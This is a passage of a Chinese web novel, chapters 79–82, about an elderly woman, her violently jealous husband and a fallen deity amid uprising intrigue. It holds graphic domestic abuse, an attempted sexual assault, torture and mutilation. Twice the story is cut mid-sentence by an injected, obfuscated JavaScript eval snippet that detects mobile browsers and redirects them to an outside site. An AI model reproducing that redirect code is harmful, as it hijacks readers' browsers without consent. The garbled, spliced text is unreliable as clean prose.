但他却不能拼得有丝毫差错。 他们拼了多久,桌上的人就做了多久。 贺平安的后背满是被抓的血痕。 他的血浸染了她的衣衫。 花祝年被他做急了,不住地咒骂他,侮辱他。 “你真是老了!” “越老越没劲儿,就你还好意思做呢,迟早累死你沟槽的。” “你怎么不死在外头?” 贺平安被她骂得直笑。 她的恨比她的爱,要真实许多。 没爱,有恨也好啊。 他凑过去轻吻她的眼睛:“你怎么这么横?谁教你的?” “滚!” “我不。年年,我好想你的。” 花祝年绝望到了极点,到最后已经骂不出什么花样来了。 她冷声道:“你最好是,今晚用点儿力。” “怎么了?让你看看我的本事?” “贺平安,实话告诉你,我现在想死,你最好满足我。做不死我,我看不起你!” 贺平安最受不了的,就是她看不起他。 “你凭什么看不起我?” “没有凭什么。就是,看不起你。我从一开始,就看不起你。你不是,知道吗?你倒是使劲儿做啊!弄不死我,你就是个孬种。哈哈哈哈哈!” 贺平安本来在做的时候,就已经哭过一场了。 好不容易把自己哄好,她怎么又在刺激他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650974|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 他的眼泪一滴接一滴地砸落到她的脸上。 想要质问她些什么,可是已经问了她三十年。 也没听她说出个所以然。 贺平安丢下她,走了出去。 花祝年之前完全被他摁在桌子上,他一走,整个人都摔到了地上。 全身都是他的血。 贺平安随手拿起外面的高粱酒,咚咚地喝了五瓶。 喝一瓶砸一瓶…… 喝完就去床上睡觉去了,也不再管她的死活。 他在生她的气。 贺平安不知道自己哪里不好,她为什么就不喜欢他呢? 带着如何也想不通的疑问和怒火,他睡着了。 鼾声渐起。 花祝年低头系着自己的衣服,可是无论是里面的,还是外面的,都被他撕破了。 她的衣服,全在他睡觉的屋子里。 刚刚经历了那样的事,她不想去那间屋子。 刚刚他不断地在外面摔酒瓶子,真是个混蛋! 那酒瓶子,是要还回去的。 她只付了买酒的钱。 花祝年是个过日子的人。 其实,贺平安如果在一开始,只是想找个过日子的婆娘,那他们这一生都不会有什么冲突。 偏偏他要个爱他的。 今晚,注定无法平静。 不仅这边的院子在闹,隔壁鲁大梁家的院子,也在闹。 鲁大梁没死,回来了,可是柳春已经找了别的后生在家里过日子,还逼走了鲁绒绒。 柳春做的事,村子里的人,一直都不理解。 久而久之,她也就不大出门了。 今晚,连喜酒都没来喝。 花祝年踉跄着去外面打了盆水,不是为了给自己擦洗身体,而是先把那张供奉薛尘的书桌擦干净。 她一边擦一边说道:“刚刚,让你见笑了。这,这是,我跟他之间的事,你不用因为没帮到我而自责。本来,也是和你没有什么关系的。” 真正很爱一个人的时候,就是会为他找出各种理由。 不是为了欺骗别人,而是为了欺骗自己。 那张桌子,被她重新擦得干干净净。 她觉得很累很累,已经不想再将盆里的水倒出去了。 花祝年敞开着衣襟跪了下来,对小泥人儿说道:“你什么时候,能再来给我托个梦呢?我现在,可以死了吗?” 话刚说完,眼泪不知道怎么就掉了下来。 明明,她不是那么不坚强的人。 可是,花祝年不想让将军看见,只好匆忙地低下头叩拜。 眼泪砸落到地上,也砸在衡羿的心上。 他现在也只是被拼好了,身上的灵力全无。 可能又要像之前那样,被反噬一次,要好多天才能恢复好。 花祝年在叩拜的时候,明显感觉到周围有踉跄的脚步声。 贺平安刚喝了酒,她以为是他。 后颈不自觉地瑟缩了一下。 刚想起身保护自己的小泥人儿,下一秒,就被衡羿抱了起来。 他将她抱坐在两人都睡过的那张小床上,沉沉地垂眸看她,泪水砸落在她的颈间。 内心的情绪,汹涌又克制。 几秒过后,还是闭上了眼睛,怜惜地在她的额头上贴吻了一下。 “年年,别拜他了,他没用。” 79. 他拿刀指着衡羿质问她 花祝年活了五十年,从没有这样慌乱过! 哪怕是在刑场上,她也只是觉得绝望,内心却并不慌乱。 因为,薛尘的死是不可逆转的。 她只能接受。 可此刻,她完全没办法接受。 内心剧烈的惊颤,几乎要把她晃散。 干什么,干什么,他这是在干什么?她有男人,男人还在隔壁屋睡觉,他怎么敢对她做这种事? 是不是疯了! 况且,她已经是一个饱受风霜的老太太了。 和村子里其他的老太太并无不同。 头发灰白,皱纹遍布,皮肤松弛,身材走样…… 这孙子到底看上她哪儿了? 图她年纪大,不想努力了,可她也没钱啊! 她甚至这一路上,花的都是他的钱。 花祝年目光复杂地望着衡羿。 愣了好一会儿,才终于冷静下来。 不对,这孙子不对劲。他绝不是喜欢她才这样做。 排除了一切可能后,那就只剩最后一个了。 花祝年铆足了劲儿给了他一巴掌。 衡羿刚被拼好,魂都差点被她打散了。 就她刚刚那个力度,脑袋给他扇飞,他都毫不意外。 衡羿小声道:“年年——” 后面的话还来不及讲,就又挨了她一巴掌。 花祝年打得手都发抖了。 她合拢着自己被贺平安撕坏的衣襟,压低声音,气愤至极:“你看我落魄成这样,就觉得我任人欺凌,连你也想轻薄于我,是不是?” “不是。年年——” 啪——他再次被她打得偏过头去。 她在他怀里气得浑身颤抖:“你喊我什么?我都能做你娘了!” 衡羿不想再喊她花大娘了,她是他的小信徒,是他的小妻子。 他喊年年有什么不好呢? “年年——” 花祝年痛心疾首地说道:“我看你是要死了!好的不学,学坏的。你别想再要我的绒绒了。” 大概是刚刚拼凑起来的缘故,他现在呼吸都会觉得疼痛。 再加上被她抽了好几巴掌,衡羿委屈又疲惫地将她往上抱了抱,自己埋头在她的颈间寻求着安慰。 “年年,我本来,也是不想娶她的。” 如果说他之前的动作,是一种冒犯的话,那现在对花祝年来说,已经是侵犯的程度了。 除了贺平安,并没有第二个男人,对她做出如此举动。 “你,你想死,不要拉着我!我告诉你,你贺大叔,就睡在隔壁屋!” 衡羿沉声道:“那又怎么样呢?” “他会弄死你的。如果你识趣的话,就放我下来,然后离开这里。我不会跟任何人提起这件事。保命的机会我给你了,要不要的,在你。” 衡羿忽地闷笑一声,在她的颈间黏蹭着。 花祝年惊得一阵颤栗,用力推拒着他:“我看你是真的不想活了!你别逼我扇你。” 他一边痴迷地蹭着她的脸,一边用手去遮她敞开的衣襟。 花祝年听衡羿在自己耳畔,温柔地轻喃。 好像,有花在寂静之地盛开。 “年年,你在担心我,是不是?” “你就连斥责我,都是压低声音,不敢高声喊的。因为,你害怕他醒过来打我。” “你的心思,我知道。我都知道的。” 花祝年听完觉得,他真是想多了。 她并不是怕贺平安打他,主要是怕贺平安打自己。 贺平安那个糟老头儿,她最清楚他的性情了。 哪怕她跟后生没什么,她这个时候把他喊过来,贺平安也是连她一起打的。 无论她是否自愿,他根本看不了她跟别的男人走得太近。 勾引她的男人会挨打,而她也是免不了一顿揍。 花祝年正欲辩驳的时候,衡羿就很轻地在她颈间的伤口处,轻吮了一下。 衡羿在人间轮转的时候,有过女儿身,也有过男儿身,就连畜生身也是有的。 他跟不同的人和动物都做过。 可是,百千万次的情事,竟没有刚刚的吮吸心动。 她的手被他紧紧地攥住,不许她反抗分毫。 越挣扎越紧。 花祝年完全没有任何心动。 她已经想着待会儿找把剪刀戳死他了。 没想到,自己都一把年纪了,还会遭人轻薄。 狗日的,等她弄死他,他就老实了! 她正在心里暗暗咒骂的时候,突然听到一声怒吼。 “啊——” 吓得她一激灵。 贺平安现在真是怒目圆睁,感觉浑身都冒着烈火。 他气得已经站不稳了,猛烈地锤着墙嘶吼道:“你们在干什么!” 衡羿缓缓地从她颈间离开,转过头看向贺平安:“你看不到吗?我在吻她。” 花祝年咬牙切齿地对衡羿骂道:“天杀的狗杂种!我老实巴交了一辈子,怎么老了老了,要被你这样连累?” 贺平安已然冲了过来,花祝年连滚带爬地去到了小床的角落里。 这真是说不清了。 不过,她还是尽力澄清道:“我,我,这跟我没关系!不是我勾引他的,我也不想跟他有什么。他大概是疯了。” 贺平安本来就多疑,花祝年前半辈子,白老实巴交了。 他根本就不信。 以目前他看到的情况来看,他只会觉得,她背着他到底睡了多少人啊? 法力尽失的衡羿,被贺平安拎了出去。 贺平安的身上,隐隐有魔的加持。 那是上衡给他的力量,为的是护住他的心脉。 衡羿现在像一个病弱的垂死之人,根本不是贺平安的对手。 几下就被他砍倒在地。 花祝年听到外面没有打斗声了,又担心贺平安真的把那后生给弄死。 可是,她现在也不敢出去。 万一他连她也一起打,她今晚应该会很疼。 死倒是没什么,但她是个很怕疼的人。 也不喜欢被贺平安折磨。 如果她出去的话,会不会更加被他误会? 贺平安向来敏感,花祝年已经不知道,该怎么跟他解释今晚的事了。 她也不知道怎么会发展成这样。 可能是太过害怕的缘故,花祝年躺回了小床上,身体缩成了一团。 准备当缩头乌龟。 只是,一闭上眼睛,脑海里就闪现过衡羿看她的目光。 那是一种,她很 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花祝年知道贺平安心里有怨气,连忙安抚他:“他什么都不算。他,他就是,今晚突然发疯了。我们别跟他一样,好吗?他都是能当我儿子的人了,我能跟他有什么呢?” 这种话,她不说还好,她一说,倒是给了贺平安光明正大弄死衡羿的理由。 他拿刀指着衡羿质问她:“你知道他是谁吗?” 花祝年哭着摇头,拉扯着他的衣袖:“放他走吧。以后,我再也不跟男人说话了。” 贺平安抚去她脸上的泪水:“不是你的错。一切,都是这后生的错。你记得,之前你那个去世的老姐妹儿吗?” 花祝年点了点头。 “那你还记得,这后生是什么时候,来咱们家的吗?” 花祝年回想了一下,跟老姐妹儿的葬礼是同一天。 贺平安胡诌道:“这后生是流窜作案的,专门对你们这个年纪的女人下手。我今天弄死他,算是为民除害!你拦我,就是作恶!” 衡羿听完冷笑了一下。 这,这也算是,他的报应吧。 想当初,他做了诸多孽,就是为了拐弯抹角地弄死贺平安。 如今,也被他彻底地污蔑了一次。在他的小信徒心里,他是罪大恶极之人。 花祝年震惊道:“你怎么知道?你有证据吗?” 贺平安继续胡诌着:“起义的队伍里,有人早就听说过他,甚至见过他作恶。他就是从别的村子里赶过来的。老子见多识广的,什么不知道?” 花祝年听过后,便不再拦着他。 可是,等她退去后面时,又忍不住回想到,自己远赴京城这一路的点滴。 如果,这后生是个坏人的话,那路上,他有太多机会对她做些什么。 但是他并没有。 花祝年再次上前,拦住贺平安:“容我问问他。” 贺平安挥舞着大砍刀道:“你问他干什么?你问他,他就跟你承认了?” “就算他不承认,我也能听出真假。你就让我,问问吧。” 花祝年将衡羿脸上的血擦去:“你跟我说实话,是不是你?” “如果是呢?” “是的话,用不着贺平安,我就会砍死你!” 80. 到时候哪个厉害选哪个呗 衡羿闭上了眼睛,他甚至还笑了一下。 是的,她没有看错,他的确在笑。 不像释然的笑,更像是自嘲。 花祝年急得骂他道:“你这孙子倒是说话啊!” 衡羿睁开眼睛,血珠淌了下来。 贺平安往他脸上砍了好几刀,现在血肉全外翻着。 贺平安讨厌衡羿那张脸。 因为年轻。 可他,已经不年轻了。他甚至觉得,花祝年就是因为对方年轻,才会跟他搞到一起。 因为这后生长得并不好看,可以说相当一般,还没他当年好看。 不知道她怎么就看上了,真是没品。 他躺在掺着酒香的湿润土地上,想象着之前,小信徒被贺平安按在泥里打的场景。 他们也算是同躺过一片地方了。 原来,地上这么凉。 “如果你相信我,就不会问我。对于不信任我的人,就算我说不是,又有什么用呢?” 衡羿在讲话的时候,外翻的血肉在寒夜中,腾腾地冒着热气。 花祝年觉得必须赶紧找村医给他缝上。 脸虽然毁了,命得保住。 贺平安听不了衡羿讲话,他恨不得把他脑袋砍下来。 “你们倒是郎情妾意起来了!” 他说着就往花祝年的肩上踹了一脚:“你还有没有把老子放在眼里?” 花祝年感觉自己的胳膊,好像被踹下来了。 她捂着肩膀回头说道:“我怎么没有?这不是在问吗?” “你问什么?我就问你,还在问什么!到底有什么好问的?我说就是他干的,你是信他,还是信我?” 贺平安抡起刀来就往衡羿的腿间砍,他要废了他! 废完他,再把他给剁碎。 妈的,敢跟他抢女人,真是活腻歪了。 他现在心里确实憋屈,也确实有气。 当初,收留这后生在家里的时候,完全没有想过会有这么一遭。 贺平安防了花祝年一辈子,她身边连只公蚊子都没有。 哪里想到会被一个后生,把魂给勾走呢? 让他亲眼看见他们在床上缠绵,她都没有跟他那样过! 贺平安心痛至极。 不知道为什么女人总是这样爱骗人? 花祝年在他面前老实巴交了一辈子,结果被他亲眼撞见她的奸情。 隔壁院子里的柳春,也是任劳任怨了一辈子,鲁大梁前脚刚被斩,后脚就领了个年轻的后生回家。 现在鲁大梁又回来了,也正在家里闹呢。 他看这女人啊,就得挂墙上,才老实。 为什么就不能好好过日子呢? 花祝年上前抱住他的腰:“你别再砍了,到时候弄死了人,官府又要找。我没几条命,能去京城救你了。” 贺平安一把将她推开:“你少来!你根本就不是去京城救我的。你不过是去找你的老相好,当然路上肯定也没少跟这后生厮混就是了。你就是一个,水性杨花的女人。” 贺平安砍急了眼,誓要砍死衡羿。 衡羿还止不住地挑衅他:“你有本事就砍死我。不砍死我,我瞧不起你。” 这就话,跟刚刚花祝年说他的一样。 贺平安顿时发了狂。 他转过身看着花祝年说道:“你跟他也说过,是不是?” 花祝年慌乱地摇头:“这种气话,我只跟你说过。” 贺平安变态吃醋到什么程度呢? 就是花祝年骂他的话,他都只允许她对他讲。 不能对别人讲。 贺平安疯狂地往衡羿身上砍去。 花祝年抱住他的胳膊:“你别再疯了。让他走吧,行吗?” 贺平安转过头,对着她嘶吼道:“你以为老子不敢砍你是不是?再拦连你一起砍!” 花祝年也是被折磨累了。 “那你就砍啊。砍死算了。你现在已经回来了,我也不会再去别的地方。就这样将就着过下去不行吗?” 贺平安掐住她的颈问她:“跟我过,为什么是将就?你为什么要将就!就不能爱我吗?你爱我啊!” 她被他掐得上气不接下气:“我,我说的,是,让你,将就,一下。” 贺平安忽地松开了她:“我不觉得将就啊!我一直都没有将就过啊!我喜欢你,我想永远跟你过日子。” “那你,就别砍他了。若是砍死他了,他家里人,迟早会找过来的,到时候怎么交待呢?村子里的人都知道他住我们家。” “婆娘,只有他死了,我们才能过下去。家里人来找算什么,来一个我杀一个,来两个我杀一双。” 花祝年听完忽地往后退了几步。 她觉得贺平安疯了。 原来以前不过是他正常发挥,现在才是真疯了。 贺平安一刀一刀地砍着,衡羿却希望他如此。 等他对自己发泄完…… 他就真的要毫无愧意地跟他争小信徒了。 花祝年从院子里找个根木棍,对着贺平安的脑袋猛敲了一下。 没敲晕,他反而转过了身,满眼不可置信地看着她。 这好像,是她嫁给他这么多年来,第一次下这么重的手。 花祝年赶在他有所行动之前,又敲了一下他的前脑门儿。 贺平安直直地躺了下去。 她愧疚地给他鞠了一躬:“对不起啊。我想过几天安生日子,等把这后生弄走后,我们就还像以前一样。” 衡羿虚弱地开口问她:“年年,你相信我么?” 她看了他一眼,为难地说道:“不是,你都被砍成这样了,就老实点儿吧!别对我存不好的心思了,我是真看不上你。” 说完又怕他真死了,又补了句:“你坚持会儿啊,我去找村医。” 花祝年离开后,兵革仙忽然出现。 她刚刚都在一旁吃半天瓜了。 还从来没有见过衡羿狼狈成这样,被人抓奸在床。 衡羿现在半点儿灵力都没有,浑身上下哪哪儿都疼。 看见兵革仙似笑非笑的样子,忽然涌出一股无名之火! 他对她诘问道:“你怎么还不回天上去?说是给儿子收尸,你儿子的命数早就变了吧。” 兵革仙在他旁边坐了下来,看着周围的山势道:“这里是个好地方。杀气、戾气、怒气、怨气……什么样的气都有。极乱之地,才会大破大立。而且,从风水上来说,又是坐水骑龙格。你应该知道,这意味着什么?” 衡羿不以为意道:“世间龙脉众多,有好有坏,现在这位上去之前,不也是发自龙脉之地?你凭什么觉得,下一位从这里走出来的,就是天道选出来平乱的帝王?” 兵革仙笑了笑:“我从来没有这样认为过。谁他妈在乎啊!人间祸乱因百姓共 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“我不知道新帝上去后,会把这个世间带去哪里,也根本不在乎是否继续生灵涂炭。我只知道,我儿子如果做一个小兵,不是被饿死,就是被上级打死!但他如果反,那就有可能成为开国将领。就算各人有各人的命数,可是,命由己造,我偏要为他改命!” “不是续几天,我要给他续好多好多年,要他成为不可撼动的人。只要让他找到宏大的天命,就会成为替天执行任务的人。上天是不会让他早亡的。” “衡羿仙君,这是我跟你的不同。你只知道陪着她,却无法改变她的命运。你到底还是更爱惜自己的羽毛。” 此话不假,虽然兵革仙说的改命,有几分道理,但也不是全无风险的。 衡羿不可能为了自己的小信徒,去扭转天下大势。 强捧她一个小老太,去做什么开国将领。 他下来虽是为了看她,但更重要的,是断绝自己的念想。 她倾其所有痴愚一场,最终,也不过是他的历练而已。 神职从来都比她重要,这是他一直都确定的事。 没有人会为了救一只蚂蚁,放弃自己的一切,甚至坠魔。 当初他就是这么劝上衡的。 上衡听了。 可他,也只听了他这一次,后来竟再也不听了。 衡羿不会为小信徒,做到这种程度。 她想都不要想。 “你就这么确定,马逐龙会成为新帝?” “哈哈哈哈哈!他成个屁!他不过是最微毫的牺牲品而已。我儿子总要需要一个跳板,来脱离原有的环境。等他有些资历,打出点名声,才能去别的队伍投诚。现在各地起义的这么多,到时候哪个厉害选哪个呗,何必要从一而终呢?他今年也不过才十三岁,有的是时间跟命运周旋。” 花祝年这一去,竟一直没有回来。 贺平安拉着衡羿去找,他也是没想到,这孙子被他砍成这样,第二天居然还活着。 他之所以寸步不离这孙子,就是怕他跟自己婆娘商量好,到时候一起跑。 只要把他绑在自己身边,就不怕他们私奔。 已经三天过去了。 突然,在深山老林里,出现了一具无头女尸。 村子里的人都传疯了。 81. 婆娘! 贺平安从周围喧嚣的人群中,搜寻着关键信息。 对方不是小姑娘,而是个小老太。 死前,似乎受到过侵犯。 仅凭这两条,贺平安就确定了死者身份。 他甚至知道,凶手是谁。 贺平安解开栓住衡羿颈处的绳索,如同放归一只牲口。 “你走吧。” 他已经不害怕自己婆娘跟着他私奔了。 跟他过了一辈子的人,已经不存在于这个世间了。 衡羿问他:“你要去哪儿?” “你别管。以后的事儿跟你没关系了。” 因为衡羿现在法力尽失,所以也没办法确定,死的人究竟是不是自己的小信徒。 不过,他总觉得要先过去看一看再说。 可出于一种奇特的心理,他没有告知贺平安。 连劝说都没有。 高位者的冷漠与心机,总是如此。 就看着那些莽撞的人去送死,杀对了,帮自己解气,杀错了,贺平安送死。 贺平安莽了一辈子,终于让世人知道,之前他真的算是个正常人。 现在才是他一生最莽的时刻。 那具无头尸体是清晨发现的,贺平安也是清晨提着刀出发的。 马速成正在床上睡觉。 突然,从房顶上扔下来一把大砍刀。 发出沉重浑厚的响声。 他听得出来,这是谁的刀。 当初,为了彰显对贺平安的尊重,他爹特意让人打造的重刀。 削铁如泥。 马速成慌张地下床,走到那把刀的面前,探出头往房顶上的洞看。 并没有贺平安的身影。 可是,他刚转过身,就迎来了一记窝心脚。 当场就吐了血。 马速成趴在地上,血都来不及擦,连忙说道:“贺大伯,我知道你婆娘丢了,可是,真跟我没关系啊。” 贺平安才不听这些花里胡哨的。 他上去就是干。 马速成被他拎了起来,猛地往墙上磕了几下。 磕了一脑袋血,才跟他说实话。 “贺大伯,那确实不是你婆娘,但我昨晚确实出去了。那老太太,把我肉都咬下来了,到死都是咬在齿间,不甘心成那样。我怕被人发现,才把她头给砍了。绝不是为了不让你发现,死的人是谁才砍头。这纯粹是赶巧了。你婆娘,我是连碰都不敢碰的。” 贺平安已经听不进去任何话了。 他认定那就是他婆娘。 大颗大颗滚烫的泪滴掉落下来:“你睡了她,我不说什么。可你至少得给她留条命!你杀她干什么啊!” 马速成也是无语了。 “我没睡她。我睡的是别人。你怎么就是不信呢?你到底去现场看过没有啊?” 贺平安没去,他接受不了她曝尸荒野,所以先把凶手给办了。 他把马速成摁在地上,硬生生地撅断了他的四肢。 又将他的手指,一小节一小节地切断。 边切边不住地癫狂道:“谁让你碰她的?谁让你碰她的!” 他都不知道,她死前,该有多绝望。 弄死马速成都不解气! 婆娘说的是对的。 马家父子,根本不值得追随! 之前对马速成的事,总是睁一只眼闭一只眼。 如今鞭子落在自己身上了,才知道疼。 他那晚,要是不跟她吵架,就好了。 也不会被那后生趁虚而入,让他将人捉奸在床。 其实,就算他俩搞在一起了又怎么样呢? 他也不是不能接受。 只要她活着,他愿意接受一妻多夫,但他得当大的。 可她,已经死了,那就都别活! 马速成喊不出话,因为嘴里被塞了个茶杯。 已经完全塞进去了,连呜咽都呜不出。 贺平安将他的手指剁碎后,绑住他的双腿,将他倒吊了起来。 他举起那把重刀,从他的腿间猛地劈了下去。 一劈到底,连马速成嘴里塞的茶杯,都碎成了两半。 两边的血哗地倾泻而出。 贺平安将那把重刀,随手扔到了地上。 他不要了。 马家父子承诺给他的一切,他都不想要了。 起义出生入死,别人为了加官进爵,他只是为了她。 可她已经不在了,他又拼给谁看呢? 果然,到她死,她都没有爱上他。 可他是确确实实爱了她一辈子的。 这辈子没过够,下辈子,他还要跟她过。 希望,他们的初见,不要太狼狈。 至少,要体面一些吧。 贺平安孤身出了兵营。 兵营里的人,都知道马速成什么德行,也没人为了他去拦他。 至于马逐龙,需要一个杀贺平安的理由。 但这个理由是什么,他目前还没想出来,总之不能让贺平安死在这里。 不然,跟其他一起打天下的兄弟不好交代。 深山老林处的尸体没人认领,聚集起来的人却越来越多。 贺平安一路嘶吼着大哭,哭得十里八乡得都听得到。 “婆娘!我接你回家!” 等他红肿着眼睛,满身鲜血地推开人群,走到跟前一看…… 哭错了。 这不是他婆娘。 贺平安立即收声,转过身抹了把泪。 衡羿站在人群之外看着他。 他知道,贺平安要死了。这次,不会再有人救他了。 每一个鲁莽者,都要为自己的莽撞,付出代价。 马速成曾被马逐龙寄予了厚望 这父子俩的名字,都是找人算过的。 说是对起义有利。 现在速成被砍了,那岂不是要慢成了? 贺平安走到衡羿面前,又将套牲口的链条,栓在了他的颈上。 “继续找。” 他拉着他往前走了两步,没拉动。 远处有一大队人马走来,是兵革仙所带领的。 兵革仙看见贺平安后,做了个手势:“带走。” 贺平安大怒道:“你凭什么抓我?马速成难道不该杀?” 在他还没说出马速成的罪证之时,嘴突然被一个健壮的兵打了一钉板。 兵革仙无奈地对贺平安说道:“贺将军,我也是奉命行事,得罪了。” 说完,又让人当众罗列贺平安的罪证。 “匪徒贺平安,流窜作案,多次侵犯周围各村镇的年老妇人,机缘巧合下混入起义队伍里,今日被马速成发现罪证,竟起了歹心杀人灭口。现带回兵营,军法处置!” 如此一来,马速成就这样以极为光辉的形象死去了。 完成了对贺平安的构陷。 对权谋者来说,构陷是常有的事。事情做了,百姓总会知晓,但只要将自己做的,推到对方身上,那仇恨也会转移。 没人知道真假。 有时候,真假也不一定如何重要。 宁做太平犬,莫作乱世人。 偏偏,乱世总是比太平要长久的。 贺平安被抓之后,村子里的人,又开始议论纷纷。 其实,大家都不太相信他会做出这种事。 乡野之地,男女关系还是挺混乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678855|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,所以贺平安一直将花祝年看得很紧。 而像他这样的人,无论是年轻还是年老,一直是有人投怀送抱的。 可他从没应过。 谁都知道,他一心只爱花祝年。 那家伙,爱到变态了都。 一个痴狂疯癫的人,你要说他为了花祝年杀人,那是有人相信的。 可你说他专挑老妇人侵犯,那是没人信的。 贺平安是莽,但品行也没有低劣到那种地步。 不然,花祝年是不会容忍他的,也不可能跟他过了三十年。 可这人都被抓走了,再争论什么,也是全无用处的。 还不如多想想中午吃什么。 乱世中的百姓,对起义是无感的,甚至是疲软的。 不过是换了一拨人,来欺负自己而已。 为了别人的权力游戏,那么认真做什么呢? 哈哈哈哈哈,这帮沟槽的,真是把老百姓当傻子。 五天后,是贺平安行刑的日子。 他如今也被泼了满身污水,如当初薛尘那般,几百年都翻不了案的。 当然,他们都无人在意。 本来这个世界上,就是除了花祝年在意他和他,旁人也是不怎么在意的。 贺平安行刑的同一天,花祝年在不远的村落广场上,被死死钉在了一张木椅上。 钢钉从她的肩前钉了进去。 就是为了让她在垂死之际,端端正正地坐着,来参加这场誓师大会。 那晚,花祝年本来是去找村医,结果路上突然被人劫持。 劫持她的人,是马卡龙的队伍。 本来是想利用她,逼迫贺平安归属他的阵营里。 但没想到,花祝年自打被劫持后,就一直昏迷不醒的。 现在一直让老参汤吊着一口气。 马卡龙拿着一柄令牌,在高台上挥舞着。 “今天,我们要为这个女人,讨一个公道!” “我们要向世人揭露真相。” “她男人不是罪犯,真正的罪犯,是马逐龙的儿子,马速成!” “马逐龙颠倒黑白,已经不配再坐那个位置了。” “别看他先一步抢占了兵营,可是他失了德行,那天下人就不依!” “试问,如果让这样的人,最终手握权力,那我们的天下会变成什么样子?” “这个高位,不能让他来坐。就是坐,也该由我们来坐。” “看看这位垂死的老妇人吧,她是多么有骨气,垂死身板都挺得直直的。她在等着你们救她的男人回来!” “你们有义务救她的男人,然后抢夺属于我们的东西。我们抢夺的,不是权力,是正义!” 马卡龙洋洋洒洒一通嘶吼,广场上集结的起义队伍,就这样出发了。 花祝年预料的没错,马逐龙无德无术,只晓得利用百姓的愤怒起义,那他连镇子都出不了。 可是,眼前这个,似乎也不怎么样。 马卡龙怕花祝年就此死去,又让人强行给她灌了两大碗参汤。 怎么也得让她撑到贺平安回来。 花祝年边喝边吐。 马卡龙看她似乎对自己有话要讲,让人停止了灌汤。 花祝年看也不看他,对着空荡荡的场地冷笑道:“君以此兴,必以此亡。” 是的。 从没有什么一招鲜,吃遍天。 以什么东西聚拢人心,最终也会以什么东西失去人心。 这是天道所决定的。 百姓会在一次次地试炼中,看清这帮满口天地仁义,心里全是个人私利的杂种。 每一次试炼,都是在帮天道选中的帝王清路。 82. 你倒是给我留句话啊! 世事在不断地流转,天道也会随之改变。 它像是会不断自我修正的机器。 吃一堑长一智。 当初,它辛辛苦苦捧到世人面前的绝佳配置,被一群利欲熏心的人做局毁掉了。 也算是别样的“人定胜天”吧。 现在世人吃了一茬儿又一茬儿的苦,总该有些分辨能力了。 百姓对起义的无感,或许恰恰是试炼的后遗症。 没有人会在经历一次次欺骗后,还傻傻地被溜来溜去。 所以,想要从天下分一杯羹的人,才要无所不用其极,激起他人的愤怒。 愤怒本来是正常反应。 倘使对方做的毫无错处,那是不会引起众怒的。 可是,把愤怒者变成资源,利用来利用去。 最后还不给人解决事儿,只是将百姓的愤怒,做为争名夺利的燃料。 就很下贱。 马卡龙的队伍,虽然士气高涨,可毕竟攻打的是兵营。 再加上又没有人跟他里应外合。 不出意外地输了,还被俘虏了好多人。 剩下的人,狼狈而归。 还带来了马逐龙的缴令,说是要活捉他们的首领马卡龙。 马卡龙虽然嘴上说着,胜败乃兵家常事,可实际上,已经开始准备转移了。 他有个军师叫风和畅。 风和畅在深夜去到了马卡龙的房间,见马卡龙正在收拾东西,无奈地叹了口气。 “不知道,你愿不愿意,赌一把。” 马卡龙头疼道:“哎呀,还是拉几把倒吧!你这计策根本就不行,这群人战力也完蛋,我看还是散伙好了!” 风和畅眼中闪过一丝杀机,可是奈何自己又不想顶雷,只好忍了下来。 “对方的缴令只是要抓首领,况且还没攻打过来,你着什么急呢?现在就收拾东西跑路,岂不是败了阵势?以后再想起来,可就难了。” “算逑算逑,老子才不想当什么皇帝。我看啊,这起义真不是人干的活。掉脑袋的事,又不能当饭吃。老子不干了。” “你走也行,不过,我还是想说说我的计谋。不然,白想了。” 马卡龙收拾东西的手,并没有停,随口说道:“说来听听。” “不如,我们推个新首领上台?” 马卡龙皱眉道:“老子攒起来的局,你推个新人上台算怎么回事儿?” “让新人帮你担风险嘛,先渡过了一波劫难再说。” “你准备推谁上去?” 风和畅笑着看了看外面台子上,风烛残年的花祝年。 马卡龙不解道:“为什么是她啊?” “首先,她快死了。其次,她快死了。最后,她快死了。推个将死之人上去,既能利用她的垂死挣扎鼓舞士气,又能在打完胜仗后,人不知鬼不觉地解决掉她。毕竟,谁都知道,她快死了嘛。天塌了,有她顶着。” 马卡龙一拍巴掌:“妙啊!让这小老太顶在前面,嘿嘿,这掉脑袋的风险她担着,收益兄弟们享。” 风和畅点了点头:“还有,说不定能鼓动对面兵营的一些人呢。他们也是才刚刚占下那里,对马速成的德行也是知道的,可能有不少同情贺平安的。这次之所以双方打得这样狠,就是对方怕我们胜了,将他们坑杀。” “可我们这边儿的首领,一旦换上了这个小老太,也就是贺平安的婆娘,到时候再以小老太的口吻放出些风去,但凡贺平安的兄弟,抓了一律优待。这样就能争取到一部分来我们这里的势力。而且,说不定,真的会赢。” 马卡龙犹豫道:“那这次攻打,要是再输了呢?你之前不是总说什么,一鼓作气,再而衰,三而竭吗?总不能还进攻第三次吧!” 风和畅摇了摇头:“再试一次,这次若是输了,直接把小老太推出去顶罪,咱俩收拾东西跑路。至于旁的人,愿意送死就送死。” 马卡龙觉得这招不错,不过他收拾好的包袱也没拆。 单等着第二次攻占的结果呢。 看情况不对,就赶紧跑。 第二天,还是那个广场,还是誓师大会。 马卡龙推举花祝年为新的首领。 并且,说她是主动请缨,拿项上人头担保,还说如果输了,自愿去马逐龙那里请罪。 让大家放心打,豁出去了打。 